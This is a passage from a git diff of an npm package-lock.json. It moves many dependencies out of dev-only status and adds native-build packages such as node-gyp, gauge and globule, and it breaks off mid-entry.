"concat-map": { "version": "0.0.1", "resolved": "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz", - "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=", - "dev": true + "integrity": "sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=" }, "concat-stream": { "version": "1.6.0", @@ -2996,6 +3057,11 @@ "date-now": "0.1.4" } }, + "console-control-strings": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/console-control-strings/-/console-control-strings-1.1.0.tgz", + "integrity": "sha1-PXz0Rk22RG6mRL9LOVB/mFEAjo4=" + }, "constants-browserify": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/constants-browserify/-/constants-browserify-1.0.0.tgz", @@ -3139,8 +3205,7 @@ "core-util-is": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz", - "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=", - "dev": true + "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=" }, "create-ecdh": { "version": "4.0.3", @@ -3325,7 +3390,6 @@ "version": "0.4.1", "resolved": "https://registry.npmjs.org/currently-unhandled/-/currently-unhandled-0.4.1.tgz", "integrity": "sha1-mI3zP+qxke95mmE2nddsF635V+o=", - "dev": true, "requires": { "array-find-index": "1.0.2" } @@ -3355,7 +3419,6 @@ "version": "1.14.1", "resolved": "https://registry.npmjs.org/dashdash/-/dashdash-1.14.1.tgz", "integrity": "sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=", - "dev": true, "requires": { "assert-plus": "1.0.0" } @@ -3394,8 +3457,7 @@ "decamelize": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/decamelize/-/decamelize-1.2.0.tgz", - "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=", - "dev": true + "integrity": "sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=" }, "decode-uri-component": { "version": "0.2.0", @@ -3550,8 +3612,12 @@ "delayed-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", - "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=", - "dev": true + "integrity": "sha1-3zrhmayt+31ECqrgsp4icrJOxhk=" + }, + "delegates": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delegates/-/delegates-1.0.0.tgz", + "integrity": "sha1-hMbhWbgZBP3KWaDvRM2HDTElD5o=" }, "depd": { "version": "1.1.2", @@ -3798,7 +3864,6 @@ "version": "0.1.1", "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.1.tgz", "integrity": "sha1-D8c6ntXw1Tw4GTOYUj735UN3dQU=", - "dev": true, "optional": true, "requires": { "jsbn": "0.1.1" @@ -3844,8 +3909,7 @@ "emojis-list": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-2.1.0.tgz", - "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=", - "dev": true + "integrity": "sha1-TapNnbAPmBmIDHn6RXrlsJof04k=" }, "encodeurl": { "version": "1.0.2", @@ -3974,7 +4038,6 @@ "version": "1.3.2", "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.2.tgz", "integrity": "sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==", - "dev": true, "requires": { "is-arrayish": "0.2.1" } @@ -4060,8 +4123,7 @@ "escape-string-regexp": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz", - "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=", - "dev": true + "integrity": "sha1-G2HAViGQqN/2rjuyzwIAyhMLhtQ=" }, "escodegen": { "version": "1.8.1", @@ -4781,8 +4843,7 @@ "extsprintf": { "version": "1.3.0", "resolved": "https://registry.npmjs.org/extsprintf/-/extsprintf-1.3.0.tgz", - "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=", - "dev": true + "integrity": "sha1-lpGEQOMEGnpBT4xS48V06zw+HgU=" }, "fast-deep-equal": { "version": "1.1.0", @@ -4948,7 +5009,6 @@ "version": "1.1.2", "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz", "integrity": "sha1-ay6YIrGizgpgq2TWEOzK1TyyTQ8=", - "dev": true, "requires": { "path-exists": "2.1.0", "pinkie-promise": "2.0.1" @@ -5042,8 +5102,7 @@ "for-in": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz", - "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=", - "dev": true + "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=" }, "for-own": { "version": "0.1.5", @@ -5058,14 +5117,12 @@ "forever-agent": { "version": "0.6.1", "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz", - "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=", - "dev": true + "integrity": "sha1-+8cfDEGt6zf5bFd60e1C2P2sypE=" }, "form-data": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/form-data/-/form-data-2.3.2.tgz", "integrity": "sha1-SXBJi+YEwgwAXU9cI67NIda0kJk=", - "dev": true, "requires": { "asynckit": "0.4.0", "combined-stream": "1.0.6", @@ -5173,8 +5230,7 @@ "fs.realpath": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz", - "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=", - "dev": true + "integrity": "sha1-FQStJSMVjKpA20onh8sBQRmU6k8=" }, "fsevents": { "version": "1.1.2", @@ -6074,6 +6130,17 @@ } } }, + "fstream": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/fstream/-/fstream-1.0.11.tgz", + "integrity": "sha1-XB+x8RdHcRTwYyoOtLcbPLD9MXE=", + "requires": { + "graceful-fs": "4.1.11", + "inherits": "2.0.3", + "mkdirp": "0.5.1", + "rimraf": "2.6.2" + } + }, "function-bind": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.1.tgz", @@ -6086,11 +6153,53 @@ "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", "dev": true }, + "gauge": { + "version": "2.7.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", + "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", + "requires": { + "aproba": "1.2.0", + "console-control-strings": "1.1.0", + "has-unicode": "2.0.1", + "object-assign": "4.1.1", + "signal-exit": "3.0.2", + "string-width": "1.0.2", + "strip-ansi": "3.0.1", + "wide-align": "1.1.3" + }, + "dependencies": { + "is-fullwidth-code-point": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz", + "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=", + "requires": { + "number-is-nan": "1.0.1" + } + }, + "string-width": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz", + "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=", + "requires": { + "code-point-at": "1.1.0", + "is-fullwidth-code-point": "1.0.0", + "strip-ansi": "3.0.1" + } + } + } + }, + "gaze": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", + "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", + "requires": { + "globule": "1.2.1" + } + }, "get-caller-file": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.3.tgz", - "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==", - "dev": true + "integrity": "sha512-3t6rVToeoZfYSGd8YoLFR2DJkiQrIiUrGcjvFX2mDw3bn6k2OtwHN0TNCLbBO+w8qTvimhDkv+LSscbJY1vE6w==" }, "get-func-name": { "version": "2.0.0", @@ -6101,8 +6210,7 @@ "get-stdin": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", - "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", - "dev": true + "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=" }, "get-stream": { "version": "3.0.0", @@ -6120,7 +6228,6 @@ "version": "0.1.7", "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", - "dev": true, "requires": { "assert-plus": "1.0.0" } @@ -6129,7 +6236,6 @@ "version": "7.1.3", "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.3.tgz", "integrity": "sha512-vcfuiIxogLV4DlGBHIUOwI0IbrJ8HWPc4MU7HzviGeNho/UJDfi6B5p3sHeWIQ0KGIU0Jpxi5ZHxemQfLkkAwQ==", - "dev": true, "requires": { "fs.realpath": "1.0.0", "inflight": "1.0.6", @@ -6195,11 +6301,20 @@ "pinkie-promise": "2.0.1" } }, + "globule": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", + "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", + "requires": { + "glob": "7.1.3", + "lodash": "4.17.10", + "minimatch": "3.0.4" + } + }, "graceful-fs": { "version": "4.1.11", "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.1.11.tgz", - "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=", - "dev": true + "integrity": "sha1-Dovf5NHduIVNZOBOp8AOKgJuVlg=" }, "growl": { "version": "1.10.5", @@ -6244,8 +6359,7 @@ "har-schema": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", - "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", - "dev": true + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" }, "har-validator": { "version": "5.0.3", @@ -6284,7 +6398,6 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", - "dev": true, "requires": { "ansi-regex": "2.1.1" } @@ -6324,6 +6437,11 @@ "integrity": "sha1-uhqPGvKg/DllD1yFA2dwQSIGO0Q=", "dev": true }, + "has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=" + }, "has-value": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", @@ -6479,8 +6597,7 @@ "hosted-git-info": { "version": "2.7.1", "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-2.7.1.tgz", - "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==", - "dev": true + "integrity": "sha512-7T/BxH19zbcCTa8XkMlbK5lTo1WtgkFi3GvdWEyNuc4Vex7/9Dqbnpsf4JMydcfj9HCg4zUWFTL3Za6lapg5/w==" }, "hpack.js": { "version": "2.1.6", @@ -6983,7 +7100,6 @@ "version": "1.2.0", "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", - "dev": true, "requires": { "assert-plus": "1.0.0", "jsprim": "1.4.1", @@ -7109,11 +7225,15 @@ "integrity": "sha1-khi5srkoojixPcT7a21XbyMUU+o=", "dev": true }, + "in-publish": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/in-publish/-/in-publish-2.0.0.tgz", + "integrity": "sha1-4g/146KvwmkDILbcVSaCqcf631E=" + }, "indent-string": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-2.1.0.tgz", "integrity": "sha1-ji1INIdCEhtKghi3oTfppSBJ3IA=", - "dev": true, "requires": { "repeating": "2.0.1" } @@ -7128,7 +7248,6 @@ "version": "1.0.6", "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz", "integrity": "sha1-Sb1jMdfQLQwJvJEKEHW6gWW1bfk=", - "dev": true, "requires": { "once": "1.4.0", "wrappy": "1.0.2" @@ -7137,8 +7256,7 @@ "inherits": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz", - "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=", - "dev": true + "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4=" }, "inquirer": { "version": "6.2.0", @@ -7240,8 +7358,7 @@ "invert-kv": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/invert-kv/-/invert-kv-1.0.0.tgz", - "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=", - "dev": true + "integrity": "sha1-EEqOSqym09jNFXqO+L+rLXo//bY=" }, "ip": { "version": "1.1.5", @@ -7273,8 +7390,7 @@ "is-arrayish": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-arrayish/-/is-arrayish-0.2.1.tgz", - "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=", - "dev": true + "integrity": "sha1-d8mYQFJ6qOyxqLppe4BkWnqSap0=" }, "is-binary-path": { "version": "1.0.1", @@ -7295,7 +7411,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-builtin-module/-/is-builtin-module-1.0.0.tgz", "integrity": "sha1-VAVy0096wxGfj3bDDLwbHgN6/74=", - "dev": true, "requires": { "builtin-modules": "1.1.1" } @@ -7360,8 +7475,7 @@ "is-extendable": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz", - "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=", - "dev": true + "integrity": "sha1-YrEQ4omkcUGOPsNqYX1HLjAd/Ik=" }, "is-extglob": { "version": "1.0.0", @@ -7373,7 +7487,6 @@ "version": "1.0.2", "resolved": "https://registry.npmjs.org/is-finite/-/is-finite-1.0.2.tgz", "integrity": "sha1-zGZ3aVYCvlUO8R6LSqYwU0K20Ko=", - "dev": true, "requires": { "number-is-nan": "1.0.1" } @@ -7381,8 +7494,7 @@ "is-fullwidth-code-point": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", - "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=", - "dev": true + "integrity": "sha1-o7MKXE8ZkYMWeqq5O+764937ZU8=" }, "is-glob": { "version": "2.0.1", @@ -7431,7 +7543,6 @@ "version": "2.0.4", "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-2.0.4.tgz", "integrity": "sha512-h5PpgXkWitc38BBMYawTYMWJHFZJVnBquFE57xFpjB8pJFiF6gZ+bU+WyI/yqXiFR5mdLsgYNaPe8uao6Uv9Og==", - "dev": true, "requires": { "isobject": "3.0.1" }, @@ -7439,8 +7550,7 @@ "isobject": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", - "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=", - "dev": true + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" } } }, @@ -7493,14 +7603,12 @@ "is-typedarray": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", - "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=", - "dev": true + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" }, "is-utf8": { "version": "0.2.1", "resolved": "https://registry.npmjs.org/is-utf8/-/is-utf8-0.2.1.tgz", - "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=", - "dev": true + "integrity": "sha1-Sw2hRCEE0bM2NA6AeX6GXPOffXI=" }, "is-windows": { "version": "1.0.2", @@ -7531,8 +7639,7 @@ "isexe": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", - "dev": true + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" }, "isobject": { "version": "2.1.0", @@ -7556,8 +7663,7 @@ "isstream": { "version": "0.1.2", "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", - "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=", - "dev": true + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" }, "istanbul": { "version": "0.4.5", @@ -7611,6 +7717,11 @@ } } }, + "js-base64": { + "version": "2.5.1", + "resolved": "https://registry.npmjs.org/js-base64/-/js-base64-2.5.1.tgz", + "integrity": "sha512-M7kLczedRMYX4L8Mdh4MzyAMM9O5osx+4FcOQuTvr3A9F2D9S5JXheN0ewNbrvK2UatkTRhL5ejGmGSjNMiZuw==" + }, "js-file-download": { "version": "0.4.4", "resolved": "https://registry.npmjs.org/js-file-download/-/js-file-download-0.4.4.tgz", @@ -7635,7 +7746,6 @@ "version": "0.1.1", "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=", - "dev": true, "optional": true }, "jsesc": { @@ -7658,8 +7768,7 @@ "json-schema": { "version": "0.2.3", "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", - "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=", - "dev": true + "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" }, "json-schema-traverse": { "version": "0.3.1", @@ -7675,8 +7784,7 @@ "json-stringify-safe": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", - "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=", - "dev": true + "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" }, "json3": { "version": "3.3.2", @@ -7703,7 +7811,6 @@ "version": "1.4.1", "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", - "dev": true, "requires": { "assert-plus": "1.0.0", "extsprintf": "1.3.0", @@ -8842,7 +8949,6 @@ "version": "1.0.0", "resolved": "https://registry.npmjs.org/lcid/-/lcid-1.0.0.tgz", "integrity": "sha1-MIrMr6C8SDo4Z7S28rlQYlHRuDU=", - "dev": true, "requires": { "invert-kv": "1.0.0" } @@ -8861,7 +8967,6 @@ "version": "1.1.0", "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz", "integrity": "sha1-lWkFcI1YtLq0wiYbBPWfMcmTdMA=", - "dev": true, "requires": { "graceful-fs": "4.1.11", "parse-json": "2.2.0", @@ -8874,7 +8979,6 @@ "version": "2.0.0", "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz", "integrity": "sha1-YhmoVhZSBJHzV4i9vxRHqZx+aw4=", - "dev": true, "requires": { "is-utf8": "0.2.1" } @@ -8954,12 +9058,22 @@ "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" }, + "lodash.assign": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/lodash.assign/-/lodash.assign-4.2.0.tgz", + "integrity": "sha1-DZnzzNem0mHRm9rrkkUAXShYCOc=" + }, "lodash.camelcase": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/lodash.camelcase/-/lodash.camelcase-4.3.0.tgz", "integrity": "sha1-soqmKIorn8ZRA1x3EfZathkDMaY=", "dev": true }, + "lodash.clonedeep": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.clonedeep/-/lodash.clonedeep-4.5.0.tgz", + "integrity": "sha1-4j8/nE+Pvd6HJSnBBxhXoIblzO8=" + }, "lodash.curry": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.curry/-/lodash.curry-4.1.1.tgz", @@ -8976,6 +9090,16 @@ "resolved": "https://registry.npmjs.org/lodash.flow/-/lodash.flow-3.5.0.tgz", "integrity": "sha1-h79AKSuM+D5OjOGjrkIJ4gBxZ1o=" }, + "lodash.mergewith": { + "version": "4.6.1", + "resolved": "https://registry.npmjs.org/lodash.mergewith/-/lodash.mergewith-4.6.1.tgz", + "integrity": "sha512-eWw5r+PYICtEBgrBE5hhlT6aAa75f411bgDz/ZL2KZqYV03USvucsxcHUIlGTDTECs1eunpI7HOV7U+WLDvNdQ==" + }, + "lodash.tail": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.tail/-/lodash.tail-4.1.1.tgz", + "integrity": "sha1-0jM6NtnncXyK0vfKyv7HwytERmQ=" + }, "lodash.topath": { "version": "4.5.2", "resolved": "https://registry.npmjs.org/lodash.topath/-/lodash.topath-4.5.2.tgz", @@ -9091,7 +9215,6 @@ "version": "1.6.0", "resolved": "https://registry.npmjs.org/loud-rejection/-/loud-rejection-1.6.0.tgz", "integrity": "sha1-W0b4AUft7leIcPCG0Eghz5mOVR8=", - "dev": true, "requires": { "currently-unhandled": "0.4.1", "signal-exit": "3.0.2" @@ -9107,7 +9230,6 @@ "version": "4.1.3", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-4.1.3.tgz", "integrity": "sha512-fFEhvcgzuIoJVUF8fYr5KR0YqxD238zgObTps31YdADwPPAp82a4M8TrckkWyx7ekNlf9aBcVn81cFwwXngrJA==", - "dev": true, "requires": { "pseudomap": "1.0.2", "yallist": "2.1.2" @@ -9148,8 +9270,7 @@ "map-obj": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-1.0.1.tgz", - "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=", - "dev": true + "integrity": "sha1-2TPOuSBdgr3PSIb2dCvcK03qFG0=" }, "map-visit": { "version": "1.0.0", @@ -9246,7 +9367,6 @@ "version": "3.7.0", "resolved": "https://registry.npmjs.org/meow/-/meow-3.7.0.tgz", "integrity": "sha1-cstmi0JSKCkKu/qFaJJYcwioAfs=", - "dev": true, "requires": { "camelcase-keys": "2.1.0", "decamelize": "1.2.0", @@ -9313,14 +9433,12 @@ "mime-db": { "version": "1.29.0", "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.29.0.tgz", - "integrity": "sha1-SNJtI1WJZRcErFkWygYAGRQmaHg=", - "dev": true + "integrity": "sha1-SNJtI1WJZRcErFkWygYAGRQmaHg=" }, "mime-types": { "version": "2.1.16", "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.16.tgz", "integrity": "sha1-K4WKUuXs1RbbiXrCvodIeDBpjiM=", - "dev": true, "requires": { "mime-db": "1.29.0" } @@ -9356,7 +9474,6 @@ "version": "3.0.4", "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.4.tgz", "integrity": "sha1-UWbihkV/AzBgZL5Ul+jbsMPTIIM=", - "dev": true, "requires": { "brace-expansion": "1.1.8" } @@ -9364,8 +9481,7 @@ "minimist": { "version": "1.2.0", "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.0.tgz", - "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=", - "dev": true + "integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ=" }, "mississippi": { "version": "2.0.0", @@ -9406,11 +9522,26 @@ } } }, + "mixin-object": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/mixin-object/-/mixin-object-2.0.1.tgz", + "integrity": "sha1-T7lJRB2rGCVA8f4DW6YOGUel5X4=", + "requires": { + "for-in": "0.1.8", + "is-extendable": "0.1.1" + }, + "dependencies": { + "for-in": { + "version": "0.1.8", + "resolved": "https://registry.npmjs.org/for-in/-/for-in-0.1.8.tgz", + "integrity": "sha1-2Hc5COMSVhCZUrH9ubP6hn0ndeE=" + } + } + }, "mkdirp": { "version": "0.5.1", "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.1.tgz", "integrity": "sha1-MAV0OOrGz3+MR2fzhkjWaX11yQM=", - "dev": true, "requires": { "minimist": "0.0.8" }, @@ -9418,8 +9549,7 @@ "minimist": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/minimist/-/minimist-0.0.8.tgz", - "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=", - "dev": true + "integrity": "sha1-hX/Kv8M5fSYluCKCYuhqp6ARsF0=" } } }, @@ -9590,8 +9720,7 @@ "neo-async": { "version": "2.5.2", "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.5.2.tgz", - "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw==", - "dev": true + "integrity": "sha512-vdqTKI9GBIYcAEbFAcpKPErKINfPF5zIuz3/niBfq8WUZjpT2tytLlFVrBgWdOtqI4uaA/Rb6No0hux39XXDuw==" }, "next-tick": { "version": "1.0.0", @@ -9620,6 +9749,141 @@ "integrity": "sha512-MmbQJ2MTESTjt3Gi/3yG1wGpIMhUfcIypUCGtTizFR9IiccFwxSpfp0vtIZlkFclEqERemxfnSdZEMR9VqqEFQ==", "dev": true }, + "node-gyp": { + "version": "3.8.0", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-3.8.0.tgz", + "integrity": "sha512-3g8lYefrRRzvGeSowdJKAKyks8oUpLEd/DyPV4eMhVlhJ0aNaZqIrNUIPuEWWTAoPqyFkfGrM67MC69baqn6vA==", + "requires": { + "fstream": "1.0.11", + "glob": "7.1.3", + "graceful-fs": "4.1.11", + "mkdirp": "0.5.1", + "nopt": "3.0.6", + "npmlog": "4.1.2", + "osenv": "0.1.5", + "request": "2.88.0", + "rimraf": "2.6.2", + "semver": "5.3.0", + "tar": "2.2.1", + "which": "1.3.0" + }, + "dependencies": { + "ajv": { + "version": "6.10.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz", + "integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==", + "requires": { + "fast-deep-equal": "2.0.1", + "fast-json-stable-stringify": "2.0.0", + "json-schema-traverse": "0.4.1", + "uri-js": "4.2.2" + } + }, + "aws4": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", + "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==" + }, + "extend": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz", + "integrity": "sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==" + }, + "fast-deep-equal": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-2.0.1.tgz", + "integrity": "sha1-ewUhjd+WZ79/Nwv3/bLLFf3Qqkk=" + }, + "har-validator": { + "version": "5.1.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", + "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", + "requires": { + "ajv": "6.10.0", + "har-schema": "2.0.0" + } + }, + "json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" + }, + "mime-db": { + "version": "1.38.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.38.0.tgz", + "integrity": "sha512-bqVioMFFzc2awcdJZIzR3HjZFX20QhilVS7hytkKrv7xFAn8bM1gzc/FOX2awLISvWe0PV8ptFKcon+wZ5qYkg==" + }, + "mime-types": { + "version": "2.1.22", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.22.tgz", + "integrity": "sha512-aGl6TZGnhm/li6F7yx82bJiBZwgiEa4Hf6CNr8YO+r5UHr53tSTYZb102zyU50DOWWKeOv0uQLRL0/9EiKWCog==", + "requires": { + "mime-db": "1.38.0" + } + }, + "oauth-sign": { + "version": "0.9.0", + 